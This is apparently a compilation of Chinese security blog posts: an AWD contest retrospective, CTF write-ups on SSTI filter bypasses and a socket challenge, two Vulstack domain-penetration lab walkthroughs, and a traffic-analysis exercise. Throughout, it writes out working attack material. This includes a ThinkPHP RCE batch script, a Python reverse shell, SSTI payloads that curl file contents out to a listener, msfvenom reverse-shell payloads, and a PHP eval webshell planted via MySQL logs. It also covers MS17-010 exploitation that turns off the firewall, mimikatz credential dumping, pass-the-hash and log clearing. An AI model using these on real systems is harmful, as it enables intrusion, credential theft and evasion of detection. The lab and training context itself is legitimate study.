0%

最近打了一次线上AWD,算是第一次正式打AWD,表现不太好,前期看了一些AWD的思路和套路,但是没有真正应用于实际的AWD环境中,随做一次记录,记录这里面存在的问题以及没做好的地方。

开赛

开局给了ssh和web服务以及要求,如果被check down了,每轮扣100分(当时不知道每轮扣100分,以为一共扣100,每次restart需要扣100并且重置环境,所以就一直没restart)

防护

拿到ssh权限后首先备份了文件,用D盾、河马webshell专杀工具对web环境进行杀毒,想查杀webshell。

在webshell查杀环节中,使用河马webshell专杀工具和D盾杀了一个shell,但是有免杀shell没杀出来(一般AWD会内置多个后门),由于时间原因也没有细看,造成的后果是被传了不死马。(这是后话了。

在webshell查杀环节中应改进的地方是:

1.采用多种工具综合查杀webshell

2.对疑似后门文件手工查看,不能完全相信工具。

弱点1

流量监控脚本没挂上去,导致监控流量失败,无法得知有哪些payload是发起了攻击。

自检

通过观察web服务以及报错页面,出现了经典的十年磨一剑—-TP5.0.2,于是立刻想到了TP5.0.2的RCE。

网上收集payload后打了一波cat/flag,成功,并且通过该方式拿到了其他队伍的flag,遂考虑采用脚本编写EXP批量getflag并通知负责防护的队员修复相关漏洞。

弱点2

在修复时浪费了太多的时间,负责修复的队员无法尽快修复,并在上传修复后的文件时遇到了权限问题。

弱点3

临场紧张+payload不熟悉

我真的吐了。当时太紧张了,之前利用TP5的payload也是复制粘贴,这两个因素加起来导致我在Hackbar能顺利打payload,Burp也可以,但到了写脚本的时候就不行。因为payload是四个键值对,我写脚本的时候只写了一个。

贴一下我当时写的脚本

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
import requests,json
url="http://47.104.144.188:"
rest="/index.php?s=captcha"
data={' _method':'__construct&filter%5B%5D=system&get%5B%5D=cat+%2Fflag&method=get'}
for port in range(9001,9051):
urls=str(url+str(port)+rest)
response=requests.post(url=urls,data=data)
print (response.text)

攻击

在拿到一个并且唯一一个payload后,由于没有编写出批量利用脚本,遂考虑手动打,导致的得分缓慢。

弱点4

临场脚本编写能力欠缺

在编写脚本的过程中,需要用到对html标签解析的库(叫啥忘了)、多线程(批量getflag和提交flag),但由于很久没写多线程了,所以忘了多线程咋用了。。而且解析html标签还是大二学爬虫的时候写的,太过久远,也搞忘记了。所以最后脚本也没跑起来,耽误了太多时间。

弱点5

对AWD赛制不熟悉,机器至少down了三分之一的比赛时间,5分钟一轮,一轮掉100分。我说怎么越交flag分越少。。绝了。

反思与改进

提升脚本编写能力

不说了。多写多看多寻思 多借鉴别人的思路,掌握基本库的用法。

先把多线程和xpath解析学会了!!!

提升payload熟练度

要求平时复现过程中不能拿到直接打,要分析原理与利用链。

提升运维水平

赛前看到了安恒低权限EDR,但是部署起来看起来麻烦,就没搞,但是流量监控脚本也没挂上去,以后需要提前部署并实践相关脚本与环境。

控制好相关文件的读写权限等。

提升应急反应能力

要通过流量脚本观察是否有入侵与挂马行为,学会如何处理不死马等紧急情况。

提升反制能力

要能通过别人打的payload反打别人

完善武器库

多收集webshell查杀工具、积累webshell免杀方式、收集常见漏洞EXP。

智慧曲园自动签到

https://github.com/polosec/qfnuAutoTemperatureSubmit

使用方法:

首先安装环境依赖 pip3 install requests

将该脚本上传至服务器 (我的路径是/root)

新建脚本 auto.sh

1
python3 /root/demo1.py xxxxx  xxxxxxx >1.txt ; python3 /root/serverjiang.py

新建定时任务

crontab -e 1 0 * * * /root/auto.sh

每天凌晨0点1分自动执行 /root/auto.sh 这条命令

绑定server酱

在server酱绑定微信后,拿到key,放到下面脚本 yourkey 这个地方。

serverjiang.py:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python

import requests,json
url="http://sc.ftqq.com/yourkey.send?text="
data=open('1.txt').readline()
data=json.loads(data)
data=data['message']
text=str(data)
desp="success"
url=url+text+"&desp="+desp
r=requests.get(url=url).text

运行结果

每天0点1分自动提交体温上报请求,并且将返回的信息(成功/错误)

上周末刚结束了*ctf的比赛,又摸鱼了。。赛后看雪宝的wp复现出来的,发现是socket写的有点问题 搞到夜里三点也没搞出来 wtcl

oh my socket

题目分析:

直接给了一堆docker 先跑起来看看是什么

docker-compose up -d

跑起来了三个容器 分别是 server client webserver

先整理下网络环境情况:

webserver 172.21.0.4

server 172.21.0.2

client 172.21.0.3

首先访问webserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, render_template, request
from subprocess import STDOUT, check_output
import os

app = Flask(__name__)


@app.route('/')
def index():
return open(__file__).read()


@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
f = request.files['file']
f.save(os.path.join(f.filename))

try:
output = check_output(['python3', f.filename], stderr=STDOUT, timeout=80)
content = output.decode()

except Exception as e:
content = e.__str__()

os.system(' '.join(['rm', f.filename]))
return content


if __name__ == '__main__':
app.run(port=5000, host='0.0.0.0')

通过对源码进行审计 发现上传文件后会执行文件里面的内容,于是尝试反弹shell,上传如下脚本:

这里请注意理解该段代码的作用,和bash -i那个的原理相似,都是将std out std in std err重定向至socket。

详细的分析链接放在了最后面

1
2
3
4
5
6
7
8
import socket,subprocess,os 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

本地监听搞起来,然后上传,得到反弹过来的shell

下面审计server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from socket import *
from time import ctime
import time


HOST = '172.21.0.2'
PORT = 21587
BUFSIZ = 1024
ADDR = (HOST, PORT)

tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

cnt = 0
while True:
print('waiting for connection...')
tcpCliSock, addr = tcpSerSock.accept()
cnt += 1
print('...connnecting from:', addr)

try:
while True:
data = tcpCliSock.recv(BUFSIZ)

if not data:
break
if data == b'*ctf':
content = open('oh-some-funny-code').read()
tcpCliSock.send((content.encode()))

else:
tcpCliSock.send(('[%s] %s' % (ctime(), data)).encode())
except Exception as e:
pass

if cnt >= 2:
time.sleep(120)
tcpSerSock.close()
exit(0)

tcpSerSock.close()

得到flag的条件是发送的数据为b’*ctf’

发现这个socket写的有些问题,连接大于2时就断开了,所以需要尝试自己写个socket连进去,防止别人在连,要一直循环。

于是得到如下client的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from socket import *
HOST='172.25.0.2'
PORT=21587
BUFSIZ=1024
ADDR=(HOST,PORT)
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
while True:
data=b'*ctf'
if not data:
break

tcpCliSock.send(data)
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
print(data)
tcpCliSock.close()

但是有个问题,题目的服务器每两分钟重启一次,拿到shell后再装vim什么的太慢了,于是将脚本base64编码,

echo base64_encoded_script | base64 -d >1.py

以这种方式将脚本内容上传至webserver,python3 1.py执行即可。

我认为client.py 和client的容器是起迷惑作用 或者说是模拟别人在向server发送请求,所以在本地模拟时把client容器down掉就可以了。

为了验证这里一理论,我在题目的在线环境中通过webserver打到client服务器进行了LFI,发现并没有client.py,我认为上述说法成立。

总结

当前还有个问题就是不知道是哪句话实现了删除文件前执行了文件里的内容。

参考链接:

雪宝wp

https://blog.csdn.net/weixin_30526593/article/details/98650248

分析下近期做过的ssti题目的思路

你的名字 题目分析

打开题目 发现输入名字

尝试输入4

报了一个php的错误

继续尝试

1
{% print 2*5 %}

成功.

下面将尝试利用ssti进行文件读取/命令执行

尝试

1
{%print config%}

失败,返回值为空

尝试多个关键字后,发现是对黑名单关键词采取了置空的方法进行过滤,那么可以考虑在关键字中加入另一个关键字的方式,如 iconfigf 代表if。

首先获得所有子类

payload:

1
{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()%}

拿到所有子类后,查找init global存在os模块的类,常见的是catch_warnings类

我这里用的是笨方法,将所有的子类打印出来后放到sublime里面找到的catch_warings类的下标为59

下面将进一步利用该类实现命令执行。

1
2
3
4
5
6
7
{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()[59].__init__.__gloconfigbals__.linecaconfigche%}

{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()[59].__init__.__gloconfigbals__.linecaconfigche.oconfigs.popconfigen('curl 172.16.157.75:7777 -d `ls / |base64` ')%}

通过curl外带命令执行的结果,获得了外带的根目录ls的结果,发现了flag的存放位置,直接getflag。

{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()[59].__init__.__gloconfigbals__.linecaconfigche.oconfigs.popconfigen('curl 172.16.157.75:7777 -d `tail /flag_1s_Hera|base64`')%}

题外话

介绍popen的用法

popen方法在os模块下,使用前需要import os

popen是从一个命令打开一个管道,返回值意味着执行结果,正常执行的话返回值为0

popen在ssti中常作为替代system进行命令执行的一种方式,现演示popen用法

在此例中可以看到,调用os.popen.read()方法会返回执行系统命令的结果,而不是执行成功的返回值0

popen方法中subprocess模块下也有。

安洵杯 normal_ssti

首先看过滤了哪些关键字

使用burp fuzz关键字,发现过滤了很多的关键字

1
首先看过滤了{{,可以使用{%print%}

的方式执行表达式

过滤了空格,可以用小括号的方式绕过

1
{%print(1)%}

这里还过滤了. 可以用a t t r()绕过

其他的关键字可以考虑使用unicode编码绕过

lipsum方法globlas-builtins中存在os模块,可以直接执行命令。

首先构造未编码payload:

1
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")())%}

然后构造编码payload:

1
2
3
4
5
6
7
http://localhost:5050/test?url={%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0077\u0068\u006f\u0061\u006d\u0069")|attr("\u0072\u0065\u0061\u0064")())%}

接下来尝试读取flag:

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat<>/flag")|attr("read")())%}

http://localhost:5050/test?url={%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("\u0072\u0065\u0061\u0064")())%}

另一种思路

看了师傅们的解法,我在尝试另一种编码绕过的方式解决这个问题

1
2
3
4
5
payload1:http://127.0.0.1:5050/test?url={%print(1|attr(%22\137\137class\137\137%22)|attr(%22\137\137mro\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(1)|attr(%22\137\137subclasses\137\137%22)()|attr(%22\137\137\147etitem\137\137%22)(186)|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr("\137\137\147etitem\137\137")("sys")|attr("modules")|attr("\137\137\147etitem\137\137")("os")|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)())%}

payload2:

http://127.0.0.1:5050/test?url={%print(a|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22sys%22)|attr(%22modules%22)|attr(%22\137\137\147etitem\137\137%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)())%}

上述两种方法是通过找sys模块中的os进行命令执行。(膜一下师傅:)

nctf 2020 ssti

1
blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']

懒了,改一下上题的blacklist继续跑(doge

先用bp fuzz一下,发现过滤了很多关键字。

根据上题思路,尝试unicode绕过对关键字的过滤,如

class -> \u0063\u006c\u0061\u0073\u0073

这种方法可以成功bypass。

官方wp的方法是用十六进制绕过,也是可以的,下面是用16进制绕过的pld:

1
http://10.90.89.27:5050/test?url={{%22%22[%22\x5f\x5fcla%22+%22ss\x5f\x5f%22][%22\x5f\x5fmr%22+%22o\x5f\x5f%22][1][%22\x5f\x5fsubcla%22+%22sses\x5f\x5f%22]()[186][%22\x5f\x5fin%22+%22it\x5f\x5f%22][%22\x5f\x5fgloba%22+%22ls\x5f\x5f%22][%22sys%22][%22modules%22][%22os%22][%22popen%22](%22cat%3C%3E/flag%22)[%22read%22]()}}

unctf2020 ssti

blacklist:

1
[ ] ' " _

绕过方法:

1
2
3
[] : __getitem__
'和": request.args.xxx
_: |attr()
1
Payload:http://192.168.0.116:5000/?url={{()|attr(request.args.class)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.subclass)()|attr(request.args.getitem)(186)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.sys)|attr(request.args.mod)|attr(request.args.getitem)(request.args.os)|attr(request.args.popen)(request.args.whoami)|attr(request.args.read)()}}&class=__class__&mro=__mro__&getitem=__getitem__&&subclass=__subclasses__&init=__init__&globals=__globals__&sys=sys&mod=modules&os=os&popen=popen&whoami=whoami&read=read

nctf 2020 你就是我的master吗

blacklist:

1
' . _ class base subclasses request

绕过方法:

1
2
3
4
' :  ""
. :["xxx"]
_:八进制 十六进制 Unicode 绕过 八进制如\137
关键字: 字符串拼接 如 "cla"+"ss"

Payload:

1
2
http://192.168.1.103:5000/?
url={{0["\137\137cla"+"ss\137\137"]["\137\137mro\137\137"][1]["\137\137subclas"+"ses\137\137"]()[186]["\137\137init\137\137"]["\137\137globals\137\137"]["sys"]["modules"]["os"]["popen"]("ls")["read"]()}}

总结

flask/jinja2渲染殷勤的ssti问题考察更多的是对builtins函数/模块的使用以及了解程度,各种绕过过滤技巧 换而言之是对python语言基础语法的理解程度和面向对象思想的熟练程度。

Vulstack红队评估(二)

环境配置

踩坑

webserver一开始用默认密码上不去,这里的解决方案是登录administrator账户,然后修改密码。

部署

网络

新建一个VMNET,编号为1,模式为hostonly,模拟内网环境,网段为10.10.10.0/24

NAT网段为192.168.111.0/24

DC(内网) 网卡选择VMNET1,IPV4地址为 10.10.10.10

WIN7(内网) 网卡选择VMNET1,IPV4地址为 10.10.10.20

WEBSERVER(内外网) 网卡1选择VMNET1,IPV4地址为10.10.10.80,网卡2选择NAT,DHCP auto configuration,本次地址为192.168.111.128

服务

C:\Oracle\Middleware\user_projects\domains\base_domain\bin目录下存在三个批处理文件setDomainEnvstartManagedWebLogicstopManagedWebLogic。点击配置weblogic环境。

启动服务后,访问web服务器ip:7001/console即可自动部署。

web打点

进入weblogic页面后首先尝试弱口令weblogic/weblogic,登陆不进去,考虑使用weblogic扫描器。

通过扫描发现了CVE-2019-2725漏洞,尝试利用。

利用工具:

https://github.com/TopScrew/CVE-2019-2725

这个脚本有个问题,明明import了sys,requests等,但是运行的时候还是会报没有import,很奇怪,把它放到if name=main里面就好了(这里大概率是name==main带来的执行顺序的问题)

顺利运行脚本后,即可获得一个webshell,地址为:

http://192.168.111.128:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig

先用webshell查看systeminfo,发现为64位操作系统,尝试使用msfvenom生成64位的reverse shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.129 lport=4444 a- x64 -f exe >/root/Desktop/shell.exe

kali启动apache服务,并将webshell放到/var/www/html目录下

利用Windows自带的工具 certutil下载webshell

certutil.exe -urlcache -split -f http://192.168.111.129/shell.exe

但是不行,直接被360干掉了。

使用java反序列化终极测试工具直接上传冰蝎shell,目录为

1
C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

可以直接连上~

下面将shell反弹到msf上,进行下一步的渗透。

内网信息搜集

在meterpreter里面使用run get_local_subnets 获取服务器网卡信息

看到10网段,添加10网段路由:

run autoroute -s 10.10.10.0/24

然后启动socks代理

我这里对代理的理解是在msf启动socks5代理后,设置监听IP与端口,任何使用proxychains进行的动作都会转发到设置好的监听与端口上,与此同时msf设置了通往靶机内网的路由,便可将请求通过(命令)内网主机发送出去。

看一下net user /domain 发现了域内有五个用户

查询域控

1
net group "Domain Controllers" /domain

通过ipconfig /all查询IP地址与DNS服务器地址(一般DNS服务器地址是DC)

使用net config workstation 查询工作站情况

可以确定,当前域为de1ay.com

接下来使用ladon探测内网主机存活情况

利用失败,无回显,在虚拟机查看发现被360拦截掉了。

由于java的meterpreter没有mimikatz模块,所以这里尝试上传Windows的shell并且加载mimikatz模块。(忘记了之前生成的shell被干掉了。。没办法,尝试免杀)

使用go免杀cs成功了,成功上线

接下来尝试添加管理员用户

net user polosec admin@123 /add

net localgroup Administrators polosec /add

由于360拦截 添加失败。

通过漏洞进行权限提升,拿到一个system权限的shell。

探测域内存活主机

将cs会话派生给msf

首先CS新建一个foreign listener,选择https,记住设置的端口号和hsot。

msf一样的配置

注意这里一定要选reverse http 否则meterpreter会die

使用如下命令用ICMP协议探测主机存活:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

使用arp -a 查看arp缓存

确定主机大概为:

10.10.10.10(DC),

10.10.10.80,

10.10.10.201

目前10.10.10.80已经被拿下,下面尝试对10.10.10.10以及10.10.10.201主机进行渗透。

渗透域内主机

通过PASS THE HASH 的方式传递NTLM hash实现上线DC和域内主机。

具体方法:

在CS中 view target -add 添加DC的IP,点击jump ,PS EXEC ,选择一个同域的账号密码进行PTH,即可顺利上线DC。

上线DC后再用mimikatz抓一下密码,然后利用同样的方法上线主机10.10.10.201。

顺利上线主机10.10.10.201:

总结

通过本次对vulstack靶场的学习,

进一步了解了CS MSF的用法,加深了对bypass uac 、提权的认识,学习了初步的免杀技巧;

学会了在msf中如何配置路由对内网进行扫描,学习了几个常用的提权方式 比如MS14058 MS15051;

使用pth的方式上线域内主机等等。。

目前存在的问题也非常多,包括不太了解CS,CS的shell掉线不知道是什么问题,以及还有很多很多现在还没有学习到的知识。

针对当前问题的学习目标:了解PTH,掌握mimikatz的用法,了解如何bypass uac,认识更多的提权方法。

vulstack 红队评估(一)

前言

这是我第一次做内网渗透的相关内容,做一个学习记录。

准备工作

下载镜像,虚拟机默认密码hongrisec@2019,登陆后有两台需要改密码,注意密码的格式。。别忘了再重装– 我的密码是

对网络的部署需要一定的计算机网络基础知识。

kali 网卡: NAT

web服务器(DMZ区): 网卡1 NAT 网卡2 VMNET1(hostonly)

内网服务器1(域控) 网卡 VMNET1 hostonly

内网服务器2 : 网卡 VMNET1 hostonly

部署好后由于Windows7开了防火墙,可以向外ping但是ping不动该机器,用两台内网主机ping一下试试能不能ping动。

正常情况下

主机可以ping通两台内网主机,win7可以ping通两台内网主机,kali可以ping通win7。

web渗透工作

开局phpstudy探针,猜一猜数据库账号密码root/root

phpmyadmin默认路径,日进去尝试写日志getshell。

首先看看是否开日志了

SHOW VARIABLES LIKE ‘%general%’

没开,开一下。

set golbal general_log=on;

设置下日志路径(探针中查看)

1
set global general_log_file ='C:/phpStudy/WWW/2.php';

接下来查询一下,内容是shell。

1
select '<?php eval($_POST[a]); ?>';

之后访问蚁剑链接shell就可以了

连上shell后whoami一下,发现是administrator权限,在GOD域下(?对域的概念还不太了解)

接下来使用msfvenom生成shell连接。

1
2
3
4
5
6
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.54.2 lport=5555 -f exe>shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.54.2
set lport 5555
exploit

在蚁剑执行exe文件即可获得反弹shell

不太会用msf,执行命令一直啥都没有,最后知道msf有一套自己的命令,输入shell后获得了靶机的shell。

1
2
run post/windows/manage/enable_rdp
启用RDP登录。

接下来尝试上传cs 的beacon。

cs首先设置listener,生成Windows的32位可执行程序 a.exe

通过msf的meterpreter上传到目标主机并执行

upload /root/Desktop/1.exe

execute -f 1.exe

之后在cs可以看到服务器上线。

msf meterpreter 简介

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况

内网信息搜集

在cs中尝试使用mimikatz获取登录的用户名和密码

使用ladon扫描内网

得到结果:

192.168.52.3 139 445 3389

192.168.52.138 80 445 139 389

192.168.52.141 21 139

192.168.52.138主机389端口开启了LDAP服务,可能是DC。

下面尝试添加路由,使用Windows7作为跳板机访问Windows2003

经尝试后可以ping通,可以顺利访问。

渗透域内成员141

使用nmap对目标主机进行扫描,尝试扫描SMB漏洞

发现漏洞,尝试利用

成功获取目标机器的shell。

load mimikatz

mimikatz_command -f samdump::hashes 获取主机的密码,这样就成功抓到了主机的用户名和NTML-hash值。

渗透域控

使用nmap对目标ip进行扫描,发现MS17-010和MS08-067漏洞,这次尝试利用MS17-010进行攻击。

首先关闭防火墙

1
2
3
4
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command "netsh advfirewall set allprofiles state off"
exploit

接下来获得一个正向shell

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.52.138
set payload windows/x64/meterpreter/bind_tcp
exploit

之后我用mimikatz抓密码出了点问题,报错mod_process::getVeryBasicModulesListForProcess : (0x0000012b)

搜了搜这个问题是因为mimikatz默认加载32位系统,但是我们的系统是64位的,所以首先要将meterpreter迁移到一个64位进程上。

PS一下,选择权限为NT AUTHORITY\SYSTEM权限的进程

migrate pid 即可。

之后在用mimikatz抓密码就能抓到了。

攻击结束后使用clearev命令清除攻击痕迹。

总结

第一次完整地做内网渗透相关的练习,对内网渗透的过程不太熟悉,工具的使用也不熟悉,对一些概念性的基础问题也不太熟悉。。。希望能在后续的学习过程中不断完善这些方面。

参考链接

https://shavchen.github.io/vulstack-1-writeup/#%E6%B8%97%E9%80%8F%E5%9F%9F%E6%8E%A7

https://www.freebuf.com/column/230476.html

https://www.cnblogs.com/wkzb/p/12358076.html#scroller-14

题目

2019.8 安恒流量分析

  1. 某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器
  2. 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)
  3. 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)
  4. 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
  5. 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
  6. 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少
  7. 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么
  8. 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么
  9. 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
  10. 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)
  11. 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是少

题目分析

1.观察12281号包,看HTTP层的referrer,发现了AWVS的扫描器特征。

2.过滤http协议,发现/admin/login.php

3.过滤http协议,看86号包,发现了表单数据 username 人事 password hr123456(错误答案)

302跳转代表登陆成功

使用http contains “rec=login” and http.request.method==POST and ip.src==192.168.94.59 语句对webone进行过滤,将结果对时间进行排序,发现最后一个包中的username admin password admin!@#pass123

4.a.php 翻到最后发现了a.php 然后分组列表搜a.php 找POST包

Form item: “action” = “QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJb

使用 http contains “<?php @eval” 过滤找一句话木马,但是没找到。

考虑TCP 重传可能导致http没追踪到,所以考虑使用tcp contains “<?php @eval”

发现了

1
<?php @eval($_POST[1234]);?>

将其base64encode即可。

1
PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==

5.搜字符串robots.txt 发现flag flag:87b7cb79481f317bde90c116cf36084b

6.找到webshell的名称后,一直跟踪webshell,看看她在做什么。数据包大概在734581。

后面会发现查看了数据库配置文件,就发现了数据库账号密码 dbuser web dbpass e667jUPvJjXHvEUv

7.在web2数据包中 过滤mysql协议 分组字节流搜索字符串hash_code 看response包发现hash_code d1c029893df40cb0f47bcf8f1c3c17ac

8.web2数据包中 过滤mysql协议 搜索字符串 ijnu@test.com ,看到md5加密的密码b78f5aa6e1606f07def6e839121a22ec,解密一下得到edc123!@#

9.追踪webshell包,发现了ifconfig命令。

->|eth0 Link encap:Ethernet HWaddr 00:0C:29:CB:9F:85 \n

​ inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:255.255.255.0\n

10.打开mailtwo数据包,过滤http流,发现第一个数据包里面的动作是登出,发现了用户名wenwenni。

然后看28号数据包的操作是访问登录页面,35号数据包发现了密码加密函数。

是AES-CBC加密,key为1234567812345678。

继续看42 44数据包,还是wenwenni用户登录,并且返回了 success true.

尝试使用如下过滤器过滤:

1
(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59

发现到最后也没爆破成功(这题看的别人的思路,我没懂)

然后打开mailto1 继续使用上述语句过滤

发现18512登陆成功,则密码在17126号数据包中。+ZgE14UGcFcyRGLI0/ZXPQ==

密码为1234567812345678的MD5值,偏移量为1234567812345678

AES解密得admin!@#PASS123

11.第一个vpn数据包在尝试登录vpn,然后看第二个。

统计一下会话信息,发现10.3.4.3 10.3.4.96 10.3.4.55 这几个ip之间的通信较多,然后过滤看看。

过滤一下smb协议,发现10.3.4.96是SMB服务器。

然后在看一下55这个ip

ip.addr==10.3.4.55

发现10.3.4.3首先ping了10.3.4.55 所以确定10.3.4.3是黑客使用的vpn服务器。

总结

对一些有手就行的过滤方法用的还可以,但是深入一点就不太行了 对一些流量动作的分析不太到位,对filter的用法也不太熟悉,比如\表转义。继续学习!

待学习:PPTP协议、SMB协议

参考

https://blog.csdn.net/qq_43431158/article/details/107176918

密码学 爆破

SECRET是不知道的

flag是md5(SECRET).hexdigest()

已知部分flag为

1
d0g3{71b2b5616**2a4639**7d979**de964c}

cipher是sha256加密后的flag,其摘要为

0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a

现在不知道secret。

str1=”71b2b5616”

str2=”2a4639”

str3=”7d979”

str4=”de964c”

str1 2 3 4 之间分别有两位不知道 爆破的话需要爆破16^6次。

直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import  hashlib
broken_flag= '71b2b5616**2a4639**7d979**de964c'
str1="d0g3{71b2b5616"
str2="2a4639"
str3="7d979"
str4="de964c}"
cipher='0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'
def getdigest(content):
return hashlib.sha256(content).hexdigest()
alphabet="1234567890abcdef"
for a in alphabet:
for b in alphabet:
for c in alphabet:
for d in alphabet:
for e in alphabet:
for f in alphabet:
string=str1+a+b+str2+c+d+str3+e+f+str4
if getdigest(string)==cipher:
print string

misc

签到

扫码套娃,然后得到一个flag.docx,里面一串乱码,而且公众号也提示了不是emojidecode,但是这玩意除了emojidecode还能是啥?

因为我的word2016无法显示emoji,然后我换成rar解压,在xml里面看到了emoji,放到在线解密工具即可。(师傅们直接复制过去就完事了)

王牌特工

这道题一开始没啥思路,然后file看一下是ext3格式。网上搜了一篇教程就差不多出来了。

https://blog.ihomura.cn/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/

工具:fsstat,ext3grep,veracrypt。

装ext3grep的时候,报错了按照网上说的做增添一些东西,我这还会报错,把最后报错的那一行注释掉就完事儿了。

首先使用fsstat看镜像信息。

fsstat findme

其中root directory比较重要(我也不知道为什么)

接下来使用ext3grep查看文件信息。

ext3grep –inode 2 findme

恢复这个东西

ext3grep –restore-file .coolboy.swp findme

vim -r .coolboy.swp

新建一个目录/root/coolboy 恢复完会放到这里面,base64解码后的内容为:

1
真的密码:this_is_a_true_key

